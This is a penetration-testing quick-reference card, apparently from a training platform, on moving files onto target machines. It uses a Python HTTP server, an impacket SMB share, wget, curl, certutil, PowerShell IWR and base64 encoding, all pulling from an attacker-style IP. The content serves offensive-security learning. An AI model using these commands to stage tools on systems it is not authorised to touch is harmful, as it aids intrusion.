File Transfer Methods
Ways to transfer files to targets
File TransfersTip: Click on any node to see related information!
Interactive Mind Map
graph TD
A[Transfer Needed] --> B{Target OS}
B --> C[Linux]
B --> D[Windows]
C --> E[wget/curl]
C --> F[nc file transfer]
C --> G[scp/sftp]
D --> H[certutil]
D --> I[PowerShell IWR]
D --> J[SMB Copy]
D --> K[bitsadmin]
Related Modules
Quick Reference
Python HTTP Server
python3 -m http.server 8000 # Start simple HTTP server on port 8000
Download (Linux)
wget http://10.10.14.5:8000/file # Download file with wget curl http://10.10.14.5:8000/file -o file # Download file with curl
Download (Windows)
certutil -urlcache -f http://10.10.14.5/file file # Download on Windows using certutil powershell iwr -uri http://10.10.14.5/file -outfile file # Download using PowerShell Invoke-WebRequest
SMB
impacket-smbserver share . -smb2support # Start SMB server sharing current dir copy \\10.10.14.5\share\file . # Copy file from SMB share on Windows
Base64
base64 file | tr -d '\n' # Encode file to base64 string echo 'BASE64' | base64 -d > file # Decode base64 string back to file